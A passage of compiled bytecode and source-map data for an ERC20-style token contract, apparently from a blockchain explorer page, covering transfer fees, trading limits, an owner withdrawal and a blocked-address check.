630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610527573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054b919061188c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610598573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105bc919061188c565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006105eb3384846109db565b5060015b92915050565b60006106036009600a611866565b61061190633b9aca00611875565b905090565b6000610623848484610ae9565b6106708433610449856040518060600160405280602881526020016119e2602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061104e565b5060019392505050565b6000546001600160a01b031633146106a45760405162461bcd60e51b81526004016103f790611735565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107185760405162461bcd60e51b81526004016103f790611735565b6107246009600a611866565b61073290633b9aca00611875565b600f556107416009600a611866565b61074f90633b9aca00611875565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107896009600a611866565b61079790633b9aca00611875565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107d45760405162461bcd60e51b81526004016103f790611735565b6107dd47611088565b565b60006105eb338484610ae9565b6000546001600160a01b031633146108165760405162461bcd60e51b81526004016103f790611735565b601454600160a01b900460ff16156108705760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f7565b6013546001600160a01b031663f305d71947306108a2816001600160a01b031660009081526001602052604090205490565b6000806108b76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094491906118a9565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c191906118d7565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a315760405162461bcd60e51b815260206004820181905260248201527f45524332303a20617070726f76652066726f6d207a65726f206164647265737360448201526064016103f7565b6001600160a01b038216610a875760405162461bcd60e51b815260206004820152601e60248201527f45524332303a20617070726f766520746f207a65726f2061646472657373000060448201526064016103f7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b495760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e736665722066726f6d207a65726f206164647265736044820152607360f81b60648201526084016103f7565b6001600160a01b038216610b9f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220746f207a65726f20616464726573730060448201526064016103f7565b60008111610bfb5760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657220616d6f756e74206d757374206265203e207468616e207a60448201526265726f60e81b60648201526084016103f7565b601454600160a81b900460ff1680610c1d5750601454600160b01b900460ff16155b15610cc8576001600160a01b038316600090815260016020526040902054610c4590826110ca565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c749082611113565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610adc9085815260200190565b6000546001600160a01b03848116911614801590610cf457506000546001600160a01b03838116911614155b1561103e576001600160a01b03831660009081526004602052604090205460ff16158015610d3b57506001600160a01b03821660009081526004602052604090205460ff16155b610d4457600080fd5b60065460ff1615610e27576013546001600160a01b03838116911614801590610d7b57506014546001600160a01b03838116911614155b15610e2757326000908152600560205260409020544311610e145760405162461bcd60e51b815260206004820152604760248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c7920312070757263686173652070657220626c6f636b2061606482015266363637bbb2b21760c91b608482015260a4016103f7565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610e5257506013546001600160a01b03838116911614155b8015610e7757506001600160a01b03821660009081526003602052604090205460ff16155b15610f5f57600f54811115610ece5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f7565b60105481610ef1846001600160a01b031660009081526001602052604090205490565b610efb91906118f9565b1115610f495760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f7565b600e8054906000610f598361190c565b91905055505b30600090815260016020526040902054601454600160a81b900460ff16158015610f9657506014546001600160a01b038481169116145b8015610fab5750601454600160b01b900460ff165b8015610fba5750600d54600e54115b8015610fdf57506001600160a01b03841660009081526003602052604090205460ff16155b801561100457506001600160a01b03831660009081526003602052604090205460ff16155b1561103c576011548111156110305761103061102b8361102684601254611172565b611172565b611187565b4761103a47611088565b505b505b611049838383611301565b505050565b600081848411156110725760405162461bcd60e51b81526004016103f7919061160c565b50600061107f8486611925565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156110c6573d6000803e3d6000fd5b5050565b600061110c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061104e565b9392505050565b60008061112083856118f9565b90508381101561110c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f7565b6000818311611181578261110c565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cf576111cf611938565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611228573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124c919061188c565b8160018151811061125f5761125f611938565b6001600160a01b03928316602091820292909201015260135461128591309116846109db565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112be90859060009086903090429060040161194e565b600060405180830381600087803b1580156112d857600080fd5b505af11580156112ec573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b60008061130f8585856113de565b6001600160a01b038716600090815260016020526040902054919350915061133790836110ca565b6001600160a01b03861660009081526001602052604090205561137c61135d84836110ca565b6001600160a01b03861660009081526001602052604090205490611113565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113c686856110ca565b60405190815260200160405180910390a35050505050565b6001600160a01b0383166000908152600360205260408120548190819060ff161561140a57600061140c565b835b6014549091506000906001600160a01b03878116911614801561143857506001600160a01b0387163014155b15611470576114696064611463600c54600e54116114585760085461145c565b600a545b889061151f565b906115a1565b9050611498565b6114956064611463600b54600e541161148b5760075461145c565b600954889061151f565b90505b801561151357306000908152600160205260409020546114b99082906118f9565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061150a9085815260200190565b60405180910390a35b90969095509350505050565b600082600003611531575060006105ef565b600061153d8385611875565b90508261154a85836119bf565b1461110c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f7565b600061110c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836115ff5760405162461bcd60e51b81526004016103f7919061160c565b50600061107f84866119bf565b600060208083528351808285015260005b818110156116395785810183015185820160400152820161161d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461166f57600080fd5b50565b6000806040838503121561168557600080fd5b82356116908161165a565b946020939093013593505050565b6000806000606084860312156116b357600080fd5b83356116be8161165a565b925060208401356116ce8161165a565b929592945050506040919091013590565b6000602082840312156116f157600080fd5b813561110c8161165a565b6000806040838503121561170f57600080fd5b823561171a8161165a565b9150602083013561172a8161165a565b809150509250929050565b6020808252601a908201527f4f776e61626c653a2063616c6c65722069736e74206f776e6572000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117bd5781600019048211156117a3576117a361176c565b808516156117b057918102915b93841c9390800290611787565b509250929050565b6000826117d4575060016105ef565b816117e1575060006105ef565b81600181146117f757600281146118015761181d565b60019150506105ef565b60ff8411156118125761181261176c565b50506001821b6105ef565b5060208310610133831016604e8410600b8410161715611840575081810a6105ef565b61184a8383611782565b806000190482111561185e5761185e61176c565b029392505050565b600061110c60ff8416836117c5565b80820281158282048414176105ef576105ef61176c565b60006020828403121561189e57600080fd5b815161110c8161165a565b6000806000606084860312156118be57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118e957600080fd5b8151801515811461110c57600080fd5b808201808211156105ef576105ef61176c565b60006001820161191e5761191e61176c565b5060010190565b818103818111156105ef576105ef61176c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561199e5784516001600160a01b031683529383019391830191600101611979565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119dc57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de4bd6aeb136907a6dabe2a8aa184c46078875058eb5c16add52848e635e1e5864736f6c63430008140033

Deployed Bytecode Sourcemap

3822:9698:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12500:390;;;;;;;;;;;;;:::i;:::-;;5827:83;;;;;;;;;;-1:-1:-1;5897:5:0;;;;;;;;;;;;-1:-1:-1;;;5897:5:0;;;;5827:83;;;;;;;:::i;:::-;;;;;;;;6696:186;;;;;;;;;;-1:-1:-1;6696:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6696:186:0;1023:187:1;4996:53:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4996:53:0;1215:177:1;5075:55:0;;;;;;;;;;;;;;;;6098:95;;;;;;;;;;;;;:::i;6888:446::-;;;;;;;;;;-1:-1:-1;6888:446:0;;;;;:::i;:::-;;:::i;6009:83::-;;;;;;;;;;-1:-1:-1;6009:83:0;;4658:1;2000:36:1;;1988:2;1973:18;6009:83:0;1858:184:1;6199:119:0;;;;;;;;;;-1:-1:-1;6199:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6292:18:0;6265:7;6292:18;;;:9;:18;;;;;;;6199:119;2859:148;;;;;;;;;;;;;:::i;12193:201::-;;;;;;;;;;;;;:::i;4844:56::-;;;;;;;;;;;;;;;;13382:100;;;;;;;;;;;;;:::i;2655:79::-;;;;;;;;;;-1:-1:-1;2693:7:0;2720:6;2655:79;;-1:-1:-1;;;;;2720:6:0;;;2445:51:1;;2433:2;2418:18;2655:79:0;2299:203:1;4917:58:0;;;;;;;;;;;;;;;;5916:87;;;;;;;;;;-1:-1:-1;5988:7:0;;;;;;;;;;;;-1:-1:-1;;;5988:7:0;;;;5916:87;;6324:192;;;;;;;;;;-1:-1:-1;6324:192:0;;;;;:::i;:::-;;:::i;4203:40::-;;;;;;;;;;-1:-1:-1;4203:40:0;;;;;;;;6522:168;;;;;;;;;;-1:-1:-1;6522:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6655:18:0;;;6628:7;6655:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6522:168;12896:480;;;;;;;;;;;;;:::i;12500:390::-;2780:6;;-1:-1:-1;;;;;2780:6:0;302:10;2780:22;2772:61;;;;-1:-1:-1;;;2772:61:0;;;;;;;:::i;:::-;;;;;;;;;12551:15:::1;:104:::0;;-1:-1:-1;;;;;;12551:104:0::1;12602:42;12551:104:::0;;::::1;::::0;;;12666:58:::1;::::0;12683:4:::1;::::0;4714:15:::1;4658:1;4714:2;:15;:::i;:::-;4701:28;::::0;:10:::1;:28;:::i;:::-;12666:8;:58::i;:::-;12769:15;;;;;;;;;-1:-1:-1::0;;;;;12769:15:0::1;-1:-1:-1::0;;;;;12769:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12751:55:0::1;;12829:4;12849:15;;;;;;;;;-1:-1:-1::0;;;;;12849:15:0::1;-1:-1:-1::0;;;;;12849:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12751:131;::::0;-1:-1:-1;;;;;;12751:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5429:15:1;;;12751:131:0::1;::::0;::::1;5411:34:1::0;5481:15;;5461:18;;;5454:43;5346:18;;12751:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12735:13;:147:::0;;-1:-1:-1;;;;;;12735:147:0::1;-1:-1:-1::0;;;;;12735:147:0;;;::::1;::::0;;;::::1;::::0;;12500:390::o;6696:186::-;6796:4;6813:39;302:10;6836:7;6845:6;6813:8;:39::i;:::-;-1:-1:-1;6870:4:0;6696:186;;;;;:::o;6098:95::-;6151:7;4714:15;4658:1;4714:2;:15;:::i;:::-;4701:28;;:10;:28;:::i;:::-;6171:14;;6098:95;:::o;6888:446::-;7020:4;7037:36;7047:6;7055:9;7066:6;7037:9;:36::i;:::-;7084:220;7107:6;302:10;7155:138;7211:6;7155:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7155:19:0;;;;;;:11;:19;;;;;;;;302:10;7155:33;;;;;;;;;;:37;:138::i;7084:220::-;-1:-1:-1;7322:4:0;6888:446;;;;;:::o;2859:148::-;2780:6;;-1:-1:-1;;;;;2780:6:0;302:10;2780:22;2772:61;;;;-1:-1:-1;;;2772:61:0;;;;;;;:::i;:::-;2966:1:::1;2950:6:::0;;2929:40:::1;::::0;-1:-1:-1;;;;;2950:6:0;;::::1;::::0;2929:40:::1;::::0;2966:1;;2929:40:::1;2997:1;2980:19:::0;;-1:-1:-1;;;;;;2980:19:0::1;::::0;;2859:148::o;12193:201::-;2780:6;;-1:-1:-1;;;;;2780:6:0;302:10;2780:22;2772:61;;;;-1:-1:-1;;;2772:61:0;;;;;;;:::i;:::-;4714:15:::1;4658:1;4714:2;:15;:::i;:::-;4701:28;::::0;:10:::1;:28;:::i;:::-;12247:12;:22:::0;4714:15:::1;4658:1;4714:2;:15;:::i;:::-;4701:28;::::0;:10:::1;:28;:::i;:::-;12280:14;:24:::0;12315:20:::1;:28:::0;;-1:-1:-1;;12315:28:0::1;::::0;;12359:27:::1;4714:15;4658:1;-1:-1:-1::0;4714:15:0::1;:::i;:::-;4701:28;::::0;:10:::1;:28;:::i;:::-;12359:27;::::0;1361:25:1;;;1349:2;1334:18;12359:27:0::1;;;;;;;12193:201::o:0;13382:100::-;2780:6;;-1:-1:-1;;;;;2780:6:0;302:10;2780:22;2772:61;;;;-1:-1:-1;;;2772:61:0;;;;;;;:::i;:::-;13439:35:::1;13452:21;13439:12;:35::i;:::-;13382:100::o:0;6324:192::-;6427:4;6444:42;302:10;6468:9;6479:6;6444:9;:42::i;12896:480::-;2780:6;;-1:-1:-1;;;;;2780:6:0;302:10;2780:22;2772:61;;;;-1:-1:-1;;;2772:61:0;;;;;;;:::i;:::-;12955:11:::1;::::0;-1:-1:-1;;;12955:11:0;::::1;;;12954:12;12946:48;;;::::0;-1:-1:-1;;;12946:48:0;;5710:2:1;12946:48:0::1;::::0;::::1;5692:21:1::0;5749:2;5729:18;;;5722:30;5788:25;5768:18;;;5761:53;5831:18;;12946:48:0::1;5508:347:1::0;12946:48:0::1;13005:15;::::0;-1:-1:-1;;;;;13005:15:0::1;:31;13044:21;13089:4;13109:24;13089:4:::0;-1:-1:-1;;;;;6292:18:0;6265:7;6292:18;;;:9;:18;;;;;;;6199:119;13109:24:::1;13148:1;13164::::0;13180:7:::1;2693::::0;2720:6;-1:-1:-1;;;;;2720:6:0;;2655:79;13180:7:::1;13005:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13005:223:0;;;-1:-1:-1;;;;;6219:15:1;;;13005:223:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;13202:15:0::1;6433:19:1::0;;;6426:35;6135:19;;13005:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13246:13:0::1;::::0;13277:15:::1;::::0;13239:71:::1;::::0;-1:-1:-1;;;13239:71:0;;-1:-1:-1;;;;;13277:15:0;;::::1;13239:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;13246:13:0;::::1;::::0;-1:-1:-1;13239:29:0::1;::::0;6930:18:1;;13239:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13321:11:0::1;:18:::0;;-1:-1:-1;;;;13350:18:0;-1:-1:-1;;;13350:18:0;;;12896:480::o;7340:327::-;-1:-1:-1;;;;;7433:19:0;;7425:64;;;;-1:-1:-1;;;7425:64:0;;7546:2:1;7425:64:0;;;7528:21:1;;;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;7676:18;;7425:64:0;7344:356:1;7425:64:0;-1:-1:-1;;;;;7508:21:0;;7500:64;;;;-1:-1:-1;;;7500:64:0;;7907:2:1;7500:64:0;;;7889:21:1;7946:2;7926:18;;;7919:30;7985:32;7965:18;;;7958:60;8035:18;;7500:64:0;7705:354:1;7500:64:0;-1:-1:-1;;;;;7575:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7627:32;;1361:25:1;;;7627:32:0;;1334:18:1;7627:32:0;;;;;;;;7340:327;;;:::o;7673:2482::-;-1:-1:-1;;;;;7766:18:0;;7758:64;;;;-1:-1:-1;;;7758:64:0;;8266:2:1;7758:64:0;;;8248:21:1;8305:2;8285:18;;;8278:30;8344:34;8324:18;;;8317:62;-1:-1:-1;;;8395:18:1;;;8388:31;8436:19;;7758:64:0;8064:397:1;7758:64:0;-1:-1:-1;;;;;7841:16:0;;7833:60;;;;-1:-1:-1;;;7833:60:0;;8668:2:1;7833:60:0;;;8650:21:1;8707:2;8687:18;;;8680:30;8746:33;8726:18;;;8719:61;8797:18;;7833:60:0;8466:355:1;7833:60:0;7926:1;7912:11;:15;7904:63;;;;-1:-1:-1;;;7904:63:0;;9028:2:1;7904:63:0;;;9010:21:1;9067:2;9047:18;;;9040:30;9106:34;9086:18;;;9079:62;-1:-1:-1;;;9157:18:1;;;9150:33;9200:19;;7904:63:0;8826:399:1;7904:63:0;7982:6;;-1:-1:-1;;;7982:6:0;;;;;:22;;-1:-1:-1;7993:11:0;;-1:-1:-1;;;7993:11:0;;;;7992:12;7982:22;7978:238;;;-1:-1:-1;;;;;8039:15:0;;;;;;:9;:15;;;;;;:32;;8059:11;8039:19;:32::i;:::-;-1:-1:-1;;;;;8021:15:0;;;;;;;:9;:15;;;;;;:50;;;;8102:13;;;;;;;:30;;8120:11;8102:17;:30::i;:::-;-1:-1:-1;;;;;8086:13:0;;;;;;;:9;:13;;;;;;;:46;;;;8152:31;;;;;;;;;;8171:11;1361:25:1;;1349:2;1334:18;;1215:177;7978:238:0;2693:7;2720:6;-1:-1:-1;;;;;8230:15:0;;;2720:6;;8230:15;;;;:32;;-1:-1:-1;2693:7:0;2720:6;-1:-1:-1;;;;;8249:13:0;;;2720:6;;8249:13;;8230:32;8226:1871;;;-1:-1:-1;;;;;8288:10:0;;;;;;:4;:10;;;;;;;;8287:11;:24;;;;-1:-1:-1;;;;;;8303:8:0;;;;;;:4;:8;;;;;;;;8302:9;8287:24;8279:33;;;;;;8331:20;;;;8327:520;;;8412:15;;-1:-1:-1;;;;;8398:30:0;;;8412:15;;8398:30;;;;:83;;-1:-1:-1;8467:13:0;;-1:-1:-1;;;;;8453:28:0;;;8467:13;;8453:28;;8398:83;8372:460;;;8587:9;8558:39;;;;:28;:39;;;;;;8600:12;-1:-1:-1;8524:211:0;;;;-1:-1:-1;;;8524:211:0;;9432:2:1;8524:211:0;;;9414:21:1;9471:2;9451:18;;;9444:30;9510:34;9490:18;;;9483:62;9581:34;9561:18;;;9554:62;-1:-1:-1;;;9632:19:1;;;9625:38;9680:19;;8524:211:0;9230:475:1;8524:211:0;8787:9;8758:39;;;;:28;:39;;;;;8800:12;8758:54;;8372:460;8891:13;;-1:-1:-1;;;;;8883:21:0;;;8891:13;;8883:21;:72;;;;-1:-1:-1;8939:15:0;;-1:-1:-1;;;;;8925:30:0;;;8939:15;;8925:30;;8883:72;:116;;;;-1:-1:-1;;;;;;8977:22:0;;;;;;:18;:22;;;;;;;;8976:23;8883:116;8861:448;;;9057:12;;9042:11;:27;;9034:65;;;;-1:-1:-1;;;9034:65:0;;9912:2:1;9034:65:0;;;9894:21:1;9951:2;9931:18;;;9924:30;9990:27;9970:18;;;9963:55;10035:18;;9034:65:0;9710:349:1;9034:65:0;9179:14;;9164:11;9148:13;9158:2;-1:-1:-1;;;;;6292:18:0;6265:7;6292:18;;;:9;:18;;;;;;;6199:119;9148:13;:27;;;;:::i;:::-;:45;;9118:145;;;;-1:-1:-1;;;9118:145:0;;10396:2:1;9118:145:0;;;10378:21:1;10435:2;10415:18;;;10408:30;10474:28;10454:18;;;10447:56;10520:18;;9118:145:0;10194:350:1;9118:145:0;9282:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8861:448;9372:4;9323:28;6292:18;;;:9;:18;;;;;;9416:6;;-1:-1:-1;;;9416:6:0;;;;9415:7;:47;;;;-1:-1:-1;9449:13:0;;-1:-1:-1;;;;;9443:19:0;;;9449:13;;9443:19;9415:47;:79;;;;-1:-1:-1;9483:11:0;;-1:-1:-1;;;9483:11:0;;;;9415:79;:130;;;;;9527:18;;9515:9;;:30;9415:130;:176;;;;-1:-1:-1;;;;;;9567:24:0;;;;;;:18;:24;;;;;;;;9566:25;9415:176;:220;;;;-1:-1:-1;;;;;;9613:22:0;;;;;;:18;:22;;;;;;;;9612:23;9415:220;9393:693;;;9696:14;;9673:20;:37;9670:207;;;9735:122;9778:56;9782:11;9795:38;9799:20;9821:11;;9795:3;:38::i;:::-;9778:3;:56::i;:::-;9735:16;:122::i;:::-;9924:21;10016:35;10029:21;10016:12;:35::i;:::-;9651:435;9393:693;8264:1833;8226:1871;10107:40;10125:4;10131:2;10135:11;10107:17;:40::i;:::-;7673:2482;;;:::o;1469:224::-;1589:7;1625:12;1617:6;;;;1609:29;;;;-1:-1:-1;;;1609:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1649:9:0;1661:5;1665:1;1661;:5;:::i;:::-;1649:17;1469:224;-1:-1:-1;;;;;1469:224:0:o;12400:92::-;12457:10;;:27;;:10;;;;-1:-1:-1;;;;;12457:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12400:92;:::o;1327:136::-;1385:7;1412:43;1416:1;1419;1412:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1405:50;1327:136;-1:-1:-1;;;1327:136:0:o;1142:179::-;1200:7;;1232:5;1236:1;1232;:5;:::i;:::-;1220:17;;1261:1;1256;:6;;1248:46;;;;-1:-1:-1;;;1248:46:0;;11024:2:1;1248:46:0;;;11006:21:1;11063:2;11043:18;;;11036:30;11102:29;11082:18;;;11075:57;11149:18;;1248:46:0;10822:351:1;11591:107:0;11648:7;11680:1;11676;:5;11675:15;;11689:1;11675:15;;;-1:-1:-1;11685:1:0;11591:107;-1:-1:-1;11591:107:0:o;11704:483::-;5413:6;:13;;-1:-1:-1;;;;5413:13:0;-1:-1:-1;;;5413:13:0;;;11806:16:::1;::::0;;11820:1:::1;11806:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11806:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11806:16:0::1;11782:40;;11851:4;11833;11838:1;11833:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11833:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11877:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11877:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11833:7;;11877:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11867:4;11872:1;11867:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11867:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11942:15:::1;::::0;11910:62:::1;::::0;11927:4:::1;::::0;11942:15:::1;11960:11:::0;11910:8:::1;:62::i;:::-;11983:15;::::0;:196:::1;::::0;-1:-1:-1;;;11983:196:0;;-1:-1:-1;;;;;11983:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12064:11;;11983:15:::1;::::0;12106:4;;12133::::1;::::0;12153:15:::1;::::0;11983:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5449:6:0;:14;;-1:-1:-1;;;;5449:14:0;;;-1:-1:-1;;;;11704:483:0:o;10161:367::-;10256:15;10273:17;10294:35;10307:4;10313:2;10317:11;10294:12;:35::i;:::-;-1:-1:-1;;;;;10358:15:0;;;;;;:9;:15;;;;;;10255:74;;-1:-1:-1;10255:74:0;-1:-1:-1;10358:28:0;;10255:74;10358:19;:28::i;:::-;-1:-1:-1;;;;;10340:15:0;;;;;;:9;:15;;;;;:46;10413:45;10431:26;:11;10447:9;10431:15;:26::i;:::-;-1:-1:-1;;;;;10413:13:0;;;;;;:9;:13;;;;;;;:17;:45::i;:::-;-1:-1:-1;;;;;10397:13:0;;;;;;;:9;:13;;;;;:61;;;;10474:46;;;10493:26;:11;10509:9;10493:15;:26::i;:::-;10474:46;;1361:25:1;;;1349:2;1334:18;10474:46:0;;;;;;;10244:284;;10161:367;;;:::o;10534:1051::-;-1:-1:-1;;;;;10703:24:0;;10655:7;10703:24;;;:18;:24;;;;;;10655:7;;;;10703:24;;10702:25;:43;;10744:1;10702:43;;;10730:11;10702:43;10808:13;;10684:61;;-1:-1:-1;10756:17:0;;-1:-1:-1;;;;;10802:19:0;;;10808:13;;10802:19;:44;;;;-1:-1:-1;;;;;;10825:21:0;;10841:4;10825:21;;10802:44;10798:563;;;10875:216;11087:3;10875:189;10944:16;;10932:9;;:28;10931:114;;11030:15;;10931:114;;;10989:13;;10931:114;10875:11;;:33;:189::i;:::-;:211;;:216::i;:::-;10863:228;;10798:563;;;11136:213;11345:3;11136:186;11205:15;;11193:9;;:27;11192:111;;11289:14;;11192:111;;;11249:12;;11136:11;;:33;:186::i;:213::-;11124:225;;10798:563;11375:13;;11371:169;;11450:4;11432:24;;;;:9;:24;;;;;;:36;;11459:9;;11432:36;:::i;:::-;11423:4;11405:24;;;;:9;:24;;;;;;;:63;;;;11488:40;;-1:-1:-1;;;;;11488:40:0;;;;;;;11518:9;1361:25:1;;1349:2;1334:18;;1215:177;11488:40:0;;;;;;;;11371:169;11558:7;;;;-1:-1:-1;10534:1051:0;-1:-1:-1;;;;10534:1051:0:o;1699:246::-;1757:7;1781:1;1786;1781:6;1777:47;;-1:-1:-1;1811:1:0;1804:8;;1777:47;1834:9;1846:5;1850:1;1846;:5;:::i;:::-;1834:17;-1:-1:-1;1879:1:0;1870:5;1874:1;1834:17;1870:5;:::i;:::-;:10;1862:56;;;;-1:-1:-1;;;1862:56:0;;12851:2:1;1862:56:0;;;12833:21:1;12890:2;12870:18;;;12863:30;12929:34;12909:18;;;12902:62;-1:-1:-1;;;12980:18:1;;;12973:31;13021:19;;1862:56:0;12649:397:1;1951:132:0;2009:7;2036:39;2040:1;2043;2036:39;;;;;;;;;;;;;;;;;2209:7;2244:12;2237:5;2229:28;;;;-1:-1:-1;;;2229:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2268:9:0;2280:5;2284:1;2280;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1: